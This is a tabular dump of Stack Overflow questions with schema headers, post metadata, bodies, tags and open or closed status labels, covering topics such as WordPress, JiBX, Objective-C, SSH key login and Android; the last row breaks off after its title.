PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
8,141,624
11/15/2011 19:00:08
575,599
01/14/2011 11:28:13
3
0
SharePoint vs. WordPress for company website
Can you give me some advice about the pro's and con's of using SharePoint for our company website? I have designed a ton of WordPress sites and love it as a platform but my boss is interested in using SharePoint as the platform (instead of WordPress) to design our new company website. I don't know enough about SharePoint to make an argument against it but my immediate thoughts are: 1. I cannot find SharePoint websites that pass the W3C validation test. So that seems pretty bad to me. 2. I cannot find many PSD to SharePoint website coding services, but I see tons of PSD to WordPress services. So that makes it seem to me that it will be difficult for us to do a PSD to SharePoint job. 3. I cannot find many great looking SharePoint sites out there as inspirational examples. Any advice for me for someone who is looking to put up an argument against using SharePoint for our site? I can see using SharePoint for some document sharing types of things but not for our main company website. Thanks in advance.
wordpress
sharepoint
content-management-system
null
null
11/16/2011 08:23:47
not constructive
SharePoint vs. WordPress for company website === Can you give me some advice about the pro's and con's of using SharePoint for our company website? I have designed a ton of WordPress sites and love it as a platform but my boss is interested in using SharePoint as the platform (instead of WordPress) to design our new company website. I don't know enough about SharePoint to make an argument against it but my immediate thoughts are: 1. I cannot find SharePoint websites that pass the W3C validation test. So that seems pretty bad to me. 2. I cannot find many PSD to SharePoint website coding services, but I see tons of PSD to WordPress services. So that makes it seem to me that it will be difficult for us to do a PSD to SharePoint job. 3. I cannot find many great looking SharePoint sites out there as inspirational examples. Any advice for me for someone who is looking to put up an argument against using SharePoint for our site? I can see using SharePoint for some document sharing types of things but not for our main company website. Thanks in advance.
4
8,445,802
12/09/2011 12:56:24
1,055,090
11/19/2011 08:15:51
3
0
Taking input in link
This is an api:=> <code>http://www.google.com/ig/api?weather=[city name]</code> When i manually put <b>[city name]</b> like <code>http://www.google.com/ig/api?weather=dhaka</code>Then,It's works perfectly.Is there any way to take user input for city name. My code is here:http://pastie.org/2990886 Thanks in advance.
php
xml
php5
null
null
null
open
Taking input in link === This is an api:=> <code>http://www.google.com/ig/api?weather=[city name]</code> When i manually put <b>[city name]</b> like <code>http://www.google.com/ig/api?weather=dhaka</code>Then,It's works perfectly.Is there any way to take user input for city name. My code is here:http://pastie.org/2990886 Thanks in advance.
0
11,210,340
06/26/2012 15:06:54
521,065
11/26/2010 07:35:16
47
1
Jibx mapping parent elements in child collection
Given the xml below: <Book bookName='WCE6'> <Trades> <Trade> <TradeIdentifier>466810212</TradeIdentifier> <riskMeasures> <EQ_GAMMA> <InstrumentIdType>RIC</InstrumentIdType> <InstrumentIdentifier>0397.BE</InstrumentIdentifier> <Value>1000</Value> </EQ_GAMMA> </riskMeasures> </Trade> <Trade> <TradeIdentifier>466810213</TradeIdentifier> <riskMeasures> <EQ_GAMMA> <InstrumentIdType>RIC</InstrumentIdType> <InstrumentIdentifier>EXEA.BE</InstrumentIdentifier> <Value>1000</Value> </EQ_GAMMA> </riskMeasures> </Trade> </Trades> </Book> I have created this jibx binding file (see below) to create a collection of 'Risk' objects. What I want to do is with each risk object is include the TradeIdentifier that comes from the parent trade, so essentially flattening the structure somewhat, to fit the Java properties below. <binding name="risk"> <mapping name="Book" class="Book"> <value name="bookName" field="name" style="attribute"/> <structure name="Trades" allow-repeats="true" ordered="false"> <structure name="Trade" > <value name="TradeIdentifier" /> <collection name="riskMeasures" field="risks"> <structure name="EQ_GAMMA" type="Risk"> ********* I want to map the TradeIdentifier here *********** <value name="InstrumentIdType" field="instrumentIdType" style="element"/> <value name="InstrumentIdentifier" field="instrumentIdentifier" style="element"/> <value name="Value" field="value" style="element"/> </structure> </collection> </structure> </structure> </mapping> </binding> private String tradeIdentifier; private String instrumentIdType; private String instrumentIdentifier; private String value; I have tried many different things to map the TradeIdentifier into the child collection but to no avail. I have done this before with other marshallers so would hope that Jibx can do this easily. Can anyone provide an answer to this please?
xml
binding
jibx
null
null
null
open
Jibx mapping parent elements in child collection === Given the xml below: <Book bookName='WCE6'> <Trades> <Trade> <TradeIdentifier>466810212</TradeIdentifier> <riskMeasures> <EQ_GAMMA> <InstrumentIdType>RIC</InstrumentIdType> <InstrumentIdentifier>0397.BE</InstrumentIdentifier> <Value>1000</Value> </EQ_GAMMA> </riskMeasures> </Trade> <Trade> <TradeIdentifier>466810213</TradeIdentifier> <riskMeasures> <EQ_GAMMA> <InstrumentIdType>RIC</InstrumentIdType> <InstrumentIdentifier>EXEA.BE</InstrumentIdentifier> <Value>1000</Value> </EQ_GAMMA> </riskMeasures> </Trade> </Trades> </Book> I have created this jibx binding file (see below) to create a collection of 'Risk' objects. What I want to do is with each risk object is include the TradeIdentifier that comes from the parent trade, so essentially flattening the structure somewhat, to fit the Java properties below. <binding name="risk"> <mapping name="Book" class="Book"> <value name="bookName" field="name" style="attribute"/> <structure name="Trades" allow-repeats="true" ordered="false"> <structure name="Trade" > <value name="TradeIdentifier" /> <collection name="riskMeasures" field="risks"> <structure name="EQ_GAMMA" type="Risk"> ********* I want to map the TradeIdentifier here *********** <value name="InstrumentIdType" field="instrumentIdType" style="element"/> <value name="InstrumentIdentifier" field="instrumentIdentifier" style="element"/> <value name="Value" field="value" style="element"/> </structure> </collection> </structure> </structure> </mapping> </binding> private String tradeIdentifier; private String instrumentIdType; private String instrumentIdentifier; private String value; I have tried many different things to map the TradeIdentifier into the child collection but to no avail. I have done this before with other marshallers so would hope that Jibx can do this easily. Can anyone provide an answer to this please?
0
11,719,448
07/30/2012 10:16:04
846,035
07/15/2011 08:07:01
1
0
Calling a static method in an unknown type of class
I have an interesting problem where I am trying to call class methods on an class which I essentially know nothing about in my test method. I can inspect its inheritance and any protocols it may implement but can't see an easy way to just call a method on it without getting tied up with an NSInvocation. The code below, albeit crudely, tries to demonstrate the problem I am having. @interface ClassA : NSObject + (Class)classIsPartialClassOf; @end @implementation ClassA + (Class)classIsPartialClassOf { return [NSString class]; } @end @interface ClassB : NSObject @end @implementation ClassB - (id)init { [ClassB testClass:[ClassA class]]; } + (void)testClass:(Class)classDecl { /* obviously if you know the type you can just call the method */ [ClassA classIsPartialClassOf]; /* but in my instance I do not know the type, obviously there are no classmethods to perform selector such as the fictional one below */ [classDecl performSelector:@selector(classIsPartialClassOf)]; } @end Methods for getting implementations seem to return instance variants and I can't get them to fire on the static class itself. Are my options limited to invocations or have I missed something obvious and should kick myself? Thank you in advance for your help.
objective-c
selector
performselector
null
null
null
open
Calling a static method in an unknown type of class === I have an interesting problem where I am trying to call class methods on an class which I essentially know nothing about in my test method. I can inspect its inheritance and any protocols it may implement but can't see an easy way to just call a method on it without getting tied up with an NSInvocation. The code below, albeit crudely, tries to demonstrate the problem I am having. @interface ClassA : NSObject + (Class)classIsPartialClassOf; @end @implementation ClassA + (Class)classIsPartialClassOf { return [NSString class]; } @end @interface ClassB : NSObject @end @implementation ClassB - (id)init { [ClassB testClass:[ClassA class]]; } + (void)testClass:(Class)classDecl { /* obviously if you know the type you can just call the method */ [ClassA classIsPartialClassOf]; /* but in my instance I do not know the type, obviously there are no classmethods to perform selector such as the fictional one below */ [classDecl performSelector:@selector(classIsPartialClassOf)]; } @end Methods for getting implementations seem to return instance variants and I can't get them to fire on the static class itself. Are my options limited to invocations or have I missed something obvious and should kick myself? Thank you in advance for your help.
0
2,796,093
05/08/2010 23:52:51
336,437
05/08/2010 23:52:51
1
0
How is this inupt tag linking to another page?
Response.Write("<div><input type='submit' name='submit' value='Update Cart' /></div>") Response.Write("<div><input type='submit' name='submit' value='Shop More' /></div>") Response.Write("<div><input type='submit' name='submit' value='Checkout' /></div>") that is some example code from my teacher, but he hasn't answered my email in a couple days so I need some help. When you click the Update Cart button it just updates the cart page it's on, but when you click the Shop More button it links to Shop.aspx a different page, and the Checkout links to another page as well. I can't figure out how it is linking just from that code, anybody have any insights?
html
vb.net
null
null
null
null
open
How is this inupt tag linking to another page? === Response.Write("<div><input type='submit' name='submit' value='Update Cart' /></div>") Response.Write("<div><input type='submit' name='submit' value='Shop More' /></div>") Response.Write("<div><input type='submit' name='submit' value='Checkout' /></div>") that is some example code from my teacher, but he hasn't answered my email in a couple days so I need some help. When you click the Update Cart button it just updates the cart page it's on, but when you click the Shop More button it links to Shop.aspx a different page, and the Checkout links to another page as well. I can't figure out how it is linking just from that code, anybody have any insights?
0
2,731,924
04/28/2010 17:51:41
321,731
04/20/2010 21:30:46
70
2
is there an equivalent of Python's timeit module in Java stdlib
I was amazed at Python's timeit module and wondered if there's an equivalent in Java's standard library. If not, is there a 3rd party module?
java
python
null
null
null
04/01/2012 18:45:43
too localized
is there an equivalent of Python's timeit module in Java stdlib === I was amazed at Python's timeit module and wondered if there's an equivalent in Java's standard library. If not, is there a 3rd party module?
3
5,817,032
04/28/2011 10:15:00
610,974
02/10/2011 07:18:15
34
0
What would you recommend Twitter(or websites like Twitter) for handling high traffic?
Well there are a lot of topics online that discuss about the best way through which websites like Twitter can actually handle n-times as much traffic than what they do right now. Though most of the recommendations are sure worthy but somewhere they probably sound a bit dated. Taking into considerations today's technology what would be your recommendation for making a website highly scalable? (If possible let us take the case of Twitter. What should be the ideal architecture for twitter.) - Maggi
php
asp.net
architecture
scalability
null
04/28/2011 23:34:19
not a real question
What would you recommend Twitter(or websites like Twitter) for handling high traffic? === Well there are a lot of topics online that discuss about the best way through which websites like Twitter can actually handle n-times as much traffic than what they do right now. Though most of the recommendations are sure worthy but somewhere they probably sound a bit dated. Taking into considerations today's technology what would be your recommendation for making a website highly scalable? (If possible let us take the case of Twitter. What should be the ideal architecture for twitter.) - Maggi
1
3,176,968
07/05/2010 02:26:33
215,939
11/21/2009 02:56:49
169
8
Apple is not currently accepting applications built with this version of the SDK.
When I submit, following error message appear. > The binary you uploaded was invalid. > Apple is not currently accepting > applications built with this version > of the SDK. I update my app but it's written by iPhone SDK 4 latest. I can't submit it. Can't we submit iPhone SDK 4 base app ?
iphone
app-store
null
null
null
07/05/2010 03:36:53
not a real question
Apple is not currently accepting applications built with this version of the SDK. === When I submit, following error message appear. > The binary you uploaded was invalid. > Apple is not currently accepting > applications built with this version > of the SDK. I update my app but it's written by iPhone SDK 4 latest. I can't submit it. Can't we submit iPhone SDK 4 base app ?
1
8,167,913
11/17/2011 13:31:51
14,955
09/17/2008 04:23:55
43,334
1,362
Where does Oracle NoSQL database fit in?
The various NoSQL database systems all make their own specific choices and tradeoffs, making them more or less suitable for different use-cases. Fortunately, there are many good comparisons (also here on Stackoverflow) that explain and contrast the ideas, strengths and weaknesses of all major players. But I cannot find any independent information about what [Oracle NoSQL Database][1] is, and where it fits in the NoSQL landscape. There is not even a Wikipedia page. So, what is it, and how does it work? [1]: http://www.oracle.com/technetwork/database/nosqldb/overview/index.html
oracle
nosql
oracle-nosql
null
null
11/21/2011 11:13:56
not constructive
Where does Oracle NoSQL database fit in? === The various NoSQL database systems all make their own specific choices and tradeoffs, making them more or less suitable for different use-cases. Fortunately, there are many good comparisons (also here on Stackoverflow) that explain and contrast the ideas, strengths and weaknesses of all major players. But I cannot find any independent information about what [Oracle NoSQL Database][1] is, and where it fits in the NoSQL landscape. There is not even a Wikipedia page. So, what is it, and how does it work? [1]: http://www.oracle.com/technetwork/database/nosqldb/overview/index.html
4
9,315,510
02/16/2012 16:57:59
1,214,358
02/16/2012 16:53:15
1
0
User inputs integers, until user stops program by writing "-99". Print out three biggest and three smallest integers
What would be the most efficient code for this?
c
loops
max
min
null
02/17/2012 18:01:08
not a real question
User inputs integers, until user stops program by writing "-99". Print out three biggest and three smallest integers === What would be the most efficient code for this?
1
8,170,374
11/17/2011 16:07:32
993,346
10/13/2011 11:30:21
25
2
Android Array For Wheel Picker
Hello all i have a wheel picker working but at the moment it is pulling in numbers from 0-9 for all for wheels. I want to be able to set the values instead of 0-9 I want it to be words which are pulled from a array or string so i can input them myslef as i am not sure where the numbers are being pulled from at the moment. The code is below: public class PasswActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.passw_layout); initWheel(R.id.passw_1); initWheel(R.id.passw_2); initWheel(R.id.passw_3); initWheel(R.id.passw_4); Button mix = (Button)findViewById(R.id.btn_mix); mix.setOnClickListener(new OnClickListener() { public void onClick(View v) { mixWheel(R.id.passw_1); mixWheel(R.id.passw_2); mixWheel(R.id.passw_3); mixWheel(R.id.passw_4); } }); } // Wheel scrolled flag private boolean wheelScrolled = false; // Wheel scrolled listener OnWheelScrollListener scrolledListener = new OnWheelScrollListener() { public void onScrollingStarted(WheelView wheel) { wheelScrolled = true; } public void onScrollingFinished(WheelView wheel) { wheelScrolled = false; } }; // Wheel changed listener private OnWheelChangedListener changedListener = new OnWheelChangedListener() { public void onChanged(WheelView wheel, int oldValue, int newValue) { if (!wheelScrolled) { } } }; /** * Initializes wheel * @param id the wheel widget Id */ private void initWheel(int id) { WheelView wheel = getWheel(id); wheel.setViewAdapter(new NumericWheelAdapter(this, 0, 9)); wheel.setCurrentItem((int)(Math.random() * 10)); wheel.addChangingListener(changedListener); wheel.addScrollingListener(scrolledListener); wheel.setCyclic(true); wheel.setInterpolator(new AnticipateOvershootInterpolator()); } /** * Returns wheel by Id * @param id the wheel Id * @return the wheel with passed Id */ private WheelView getWheel(int id) { return (WheelView) findViewById(id); } /** * Tests entered PIN * @param v1 * @param v2 * @param v3 * @param v4 * @return true */ private boolean testPin(int v1, int v2, int v3, int v4) { return testWheelValue(R.id.passw_1, v1) && testWheelValue(R.id.passw_2, v2) && testWheelValue(R.id.passw_3, v3) && testWheelValue(R.id.passw_4, v4); } /** * Tests wheel value * @param id the wheel Id * @param value the value to test * @return true if wheel value is equal to passed value */ private boolean testWheelValue(int id, int value) { return getWheel(id).getCurrentItem() == value; } /** * Mixes wheel * @param id the wheel id */ private void mixWheel(int id) { WheelView wheel = getWheel(id); wheel.scroll(-25 + (int)(Math.random() * 50), 2000); } } Any help is appriciated. Thanks
android
arrays
string
null
null
null
open
Android Array For Wheel Picker === Hello all i have a wheel picker working but at the moment it is pulling in numbers from 0-9 for all for wheels. I want to be able to set the values instead of 0-9 I want it to be words which are pulled from a array or string so i can input them myslef as i am not sure where the numbers are being pulled from at the moment. The code is below: public class PasswActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.passw_layout); initWheel(R.id.passw_1); initWheel(R.id.passw_2); initWheel(R.id.passw_3); initWheel(R.id.passw_4); Button mix = (Button)findViewById(R.id.btn_mix); mix.setOnClickListener(new OnClickListener() { public void onClick(View v) { mixWheel(R.id.passw_1); mixWheel(R.id.passw_2); mixWheel(R.id.passw_3); mixWheel(R.id.passw_4); } }); } // Wheel scrolled flag private boolean wheelScrolled = false; // Wheel scrolled listener OnWheelScrollListener scrolledListener = new OnWheelScrollListener() { public void onScrollingStarted(WheelView wheel) { wheelScrolled = true; } public void onScrollingFinished(WheelView wheel) { wheelScrolled = false; } }; // Wheel changed listener private OnWheelChangedListener changedListener = new OnWheelChangedListener() { public void onChanged(WheelView wheel, int oldValue, int newValue) { if (!wheelScrolled) { } } }; /** * Initializes wheel * @param id the wheel widget Id */ private void initWheel(int id) { WheelView wheel = getWheel(id); wheel.setViewAdapter(new NumericWheelAdapter(this, 0, 9)); wheel.setCurrentItem((int)(Math.random() * 10)); wheel.addChangingListener(changedListener); wheel.addScrollingListener(scrolledListener); wheel.setCyclic(true); wheel.setInterpolator(new AnticipateOvershootInterpolator()); } /** * Returns wheel by Id * @param id the wheel Id * @return the wheel with passed Id */ private WheelView getWheel(int id) { return (WheelView) findViewById(id); } /** * Tests entered PIN * @param v1 * @param v2 * @param v3 * @param v4 * @return true */ private boolean testPin(int v1, int v2, int v3, int v4) { return testWheelValue(R.id.passw_1, v1) && testWheelValue(R.id.passw_2, v2) && testWheelValue(R.id.passw_3, v3) && testWheelValue(R.id.passw_4, v4); } /** * Tests wheel value * @param id the wheel Id * @param value the value to test * @return true if wheel value is equal to passed value */ private boolean testWheelValue(int id, int value) { return getWheel(id).getCurrentItem() == value; } /** * Mixes wheel * @param id the wheel id */ private void mixWheel(int id) { WheelView wheel = getWheel(id); wheel.scroll(-25 + (int)(Math.random() * 50), 2000); } } Any help is appriciated. Thanks
0
3,389,403
08/02/2010 15:50:41
408,820
08/02/2010 15:50:41
1
0
AI Implementation for a Card Game
How can I implement a collection of three computer opponents in a client/server Java game? Thanks...
java
null
null
null
null
08/02/2010 19:42:38
not a real question
AI Implementation for a Card Game === How can I implement a collection of three computer opponents in a client/server Java game? Thanks...
1
5,445,216
03/26/2011 20:51:21
606,568
02/07/2011 14:29:13
147
10
How to use jquery UI in Drupal?
I've just installed jquery-ui-module, but don't know how to use it. Can someone help me please? Thank you in advance.
jquery
drupal
jquery-ui
null
null
03/28/2011 07:41:09
off topic
How to use jquery UI in Drupal? === I've just installed jquery-ui-module, but don't know how to use it. Can someone help me please? Thank you in advance.
2
7,546,078
09/25/2011 14:17:12
335,019
05/07/2010 02:17:07
286
3
I cannot, despite all of the available resources, login to my ssh server without a password
So I have my home computer & a server. I want the server to be able to SSH into my home computer w/out a password. I have followed various tutorials and can ssh from **home** to **server** with no password. Everything works fine. When I try to reverse the process and ssh from **server** to **home** I get a **permission denied (publickey)** error. I can log in to both machines using a password just fine. The relevant bits from a verbose attempt are as follows: debug1: Found key in /root/.ssh/known_hosts:1 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/identity debug1: Offering public key: /root/.ssh/id_rsa debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Trying private key: /root/.ssh/id_dsa debug1: Next authentication method: keyboard-interactive debug1: Authentications that can continue: publickey,keyboard-interactive debug1: No more authentication methods to try. Permission denied (publickey,keyboard-interactive). My /etc/ssh/sshd_config file on the home PC looks like this: # Package generated configuration file # See the sshd_config(5) manpage for details # What ports, IPs and protocols we listen for Port 22 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes # Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768 # Logging SyslogFacility AUTH LogLevel INFO # Authentication: LoginGraceTime 120 PermitRootLogin yes StrictModes yes RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile ~/.ssh/authorized_keys # Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes # To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords yes # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication yes # Change to no to disable tunnelled clear text passwords PasswordAuthentication no # Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no #MaxStartups 10:30:60 #Banner /etc/issue.net # Allow client to pass locale environment variables AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM no The home PC is running Ubuntu and the server is CentOS.
ssh
rsa
openssh
null
null
09/25/2011 18:30:36
off topic
I cannot, despite all of the available resources, login to my ssh server without a password === So I have my home computer & a server. I want the server to be able to SSH into my home computer w/out a password. I have followed various tutorials and can ssh from **home** to **server** with no password. Everything works fine. When I try to reverse the process and ssh from **server** to **home** I get a **permission denied (publickey)** error. I can log in to both machines using a password just fine. The relevant bits from a verbose attempt are as follows: debug1: Found key in /root/.ssh/known_hosts:1 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/identity debug1: Offering public key: /root/.ssh/id_rsa debug1: Authentications that can continue: publickey,keyboard-interactive debug1: Trying private key: /root/.ssh/id_dsa debug1: Next authentication method: keyboard-interactive debug1: Authentications that can continue: publickey,keyboard-interactive debug1: No more authentication methods to try. Permission denied (publickey,keyboard-interactive). My /etc/ssh/sshd_config file on the home PC looks like this: # Package generated configuration file # See the sshd_config(5) manpage for details # What ports, IPs and protocols we listen for Port 22 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes # Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768 # Logging SyslogFacility AUTH LogLevel INFO # Authentication: LoginGraceTime 120 PermitRootLogin yes StrictModes yes RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile ~/.ssh/authorized_keys # Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes # To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords yes # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication yes # Change to no to disable tunnelled clear text passwords PasswordAuthentication no # Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no #MaxStartups 10:30:60 #Banner /etc/issue.net # Allow client to pass locale environment variables AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM no The home PC is running Ubuntu and the server is CentOS.
2
7,801,304
10/18/2011 00:50:16
983,246
10/07/2011 01:32:25
14
0
static in the main class java and non static in constructor
I'm just trying to see if I can fully understand the concept of static and the reason of static in a main class. The keyword static refers to the main class. the reason why methods in a main class are static is because the main class does not deal with objects but with the class itself. However constructors deal with objects and therefore uses non static constructors because objects have unique characteristics and it would not make sense to make them static. If anyone can see if I made a mistake in my statement or can steer me in the right direction, it would help me a great deal! :)
java
class
static
constructor
nonstatic
10/19/2011 22:09:42
not a real question
static in the main class java and non static in constructor === I'm just trying to see if I can fully understand the concept of static and the reason of static in a main class. The keyword static refers to the main class. the reason why methods in a main class are static is because the main class does not deal with objects but with the class itself. However constructors deal with objects and therefore uses non static constructors because objects have unique characteristics and it would not make sense to make them static. If anyone can see if I made a mistake in my statement or can steer me in the right direction, it would help me a great deal! :)
1
11,508,671
07/16/2012 16:38:16
1,529,476
07/16/2012 16:17:25
1
0
Accessing Variables In Different .java files?
Can someone give me an example of how to access a variable "String = name" from a different class? I declare it in Class1.java and need to access it from Class2.java Can someone please give me an example? Here is what I have... ------------------------------------------- public class Class1{ private String name = "Example"; public static void main(String [] args){ //do some stuff Class2 class2 = new Class2(); //call the class to run } ------------------------------------------------------------- public class Class2{ public Class2(){ //run some test System.out.println(name); //<-- NOT FOUND } -------------------------------------------------------------- THANKS.
java
javascript
file
class
script
07/16/2012 16:48:16
not a real question
Accessing Variables In Different .java files? === Can someone give me an example of how to access a variable "String = name" from a different class? I declare it in Class1.java and need to access it from Class2.java Can someone please give me an example? Here is what I have... ------------------------------------------- public class Class1{ private String name = "Example"; public static void main(String [] args){ //do some stuff Class2 class2 = new Class2(); //call the class to run } ------------------------------------------------------------- public class Class2{ public Class2(){ //run some test System.out.println(name); //<-- NOT FOUND } -------------------------------------------------------------- THANKS.
1
2,030,148
01/08/2010 19:31:02
122,607
06/14/2009 01:02:17
463
21
What's the syntax to import a class in a default package in Java?
Is it possible to import a class in Java which is in the default package? If so, what is the syntax? For example, if you have package foo.bar; public class SomeClass { // ... in one file, you can write package baz.fonz; import foo.bar.SomeClass; public class AnotherClass { SomeClass sc = new SomeClass(); // ... in another file. But what if SomeClass.java does not contain a package declaration? How would you refer to <code>SomeClass</code> in <code>AnotherClass</code>?
java
syntax
import
null
null
null
open
What's the syntax to import a class in a default package in Java? === Is it possible to import a class in Java which is in the default package? If so, what is the syntax? For example, if you have package foo.bar; public class SomeClass { // ... in one file, you can write package baz.fonz; import foo.bar.SomeClass; public class AnotherClass { SomeClass sc = new SomeClass(); // ... in another file. But what if SomeClass.java does not contain a package declaration? How would you refer to <code>SomeClass</code> in <code>AnotherClass</code>?
0
8,688,048
12/31/2011 12:21:08
1,022,707
10/31/2011 21:04:04
48
3
json getting data or calling function
The function down here get's called every second, it only never outputs: console.log("noise: "+noise); So something goes wrong and i have no idea what or how to figure it out. function readEye() { console.log("readEye"); $.getJSON('output.json', function(data){ faceDetected = data.faceDetected; frameCount = data.frameCount; noise = data.noise; console.log("noise: "+noise); }); // show values in devPanel document.getElementById('faceDetected').innerHTML = "faceDetected: "+faceDetected; }
javascript
jquery
json
null
null
null
open
json getting data or calling function === The function down here get's called every second, it only never outputs: console.log("noise: "+noise); So something goes wrong and i have no idea what or how to figure it out. function readEye() { console.log("readEye"); $.getJSON('output.json', function(data){ faceDetected = data.faceDetected; frameCount = data.frameCount; noise = data.noise; console.log("noise: "+noise); }); // show values in devPanel document.getElementById('faceDetected').innerHTML = "faceDetected: "+faceDetected; }
0
8,833,822
01/12/2012 10:50:12
774,651
05/28/2011 20:34:04
692
31
Functor in callback: compilation errors
I have a simple function that uses a callback and I want use functor instead of normal function to be used as callback. But I get compilation error. It seems I missing smth. Here is the code #include <iostream> #include <functional> void some_func( void (*f)() ) { f(); } class Functor { public: void g() { std::cout << "world"; } void operator() () { std::cout << "hello"; } }; void g() { std::cout << "beautiful"; } int main(int c, char**v) { Functor f; f(); some_func(g); some_func(f);//line 26 some_func(std::bind(&Functor::g, f));//line 27 return 0; } Results: g++ 1.cpp std=c++0x 1.cpp: In function 'int main(int, char**)': 1.cpp:26:16: error: cannot convert 'Functor' to 'void (*)()' for argument '1' to 'void some_func(void (*)())' 1.cpp:27:37: error: cannot convert 'std::_Bind<std::_Mem_fn<void (Functor::*)()>(Functor)>' to 'void (*)()' for argument '1' to 'void some_func(void (*)())' Same story for `cl`
c++
function-pointers
null
null
null
null
open
Functor in callback: compilation errors === I have a simple function that uses a callback and I want use functor instead of normal function to be used as callback. But I get compilation error. It seems I missing smth. Here is the code #include <iostream> #include <functional> void some_func( void (*f)() ) { f(); } class Functor { public: void g() { std::cout << "world"; } void operator() () { std::cout << "hello"; } }; void g() { std::cout << "beautiful"; } int main(int c, char**v) { Functor f; f(); some_func(g); some_func(f);//line 26 some_func(std::bind(&Functor::g, f));//line 27 return 0; } Results: g++ 1.cpp std=c++0x 1.cpp: In function 'int main(int, char**)': 1.cpp:26:16: error: cannot convert 'Functor' to 'void (*)()' for argument '1' to 'void some_func(void (*)())' 1.cpp:27:37: error: cannot convert 'std::_Bind<std::_Mem_fn<void (Functor::*)()>(Functor)>' to 'void (*)()' for argument '1' to 'void some_func(void (*)())' Same story for `cl`
0
10,272,726
04/22/2012 22:34:53
1,336,846
04/16/2012 16:55:50
10
0
Any model that can translate Arabic to English in python/nltk?
Is there any model that can be used for translate Arabic to English in Python/NLTK? Any idea? Thank you
python
nltk
null
null
null
04/23/2012 01:31:52
not constructive
Any model that can translate Arabic to English in python/nltk? === Is there any model that can be used for translate Arabic to English in Python/NLTK? Any idea? Thank you
4
7,706,786
10/09/2011 21:51:47
39,677
11/03/2008 21:48:03
11,940
6
How to wireup a class that doesn't have an interface
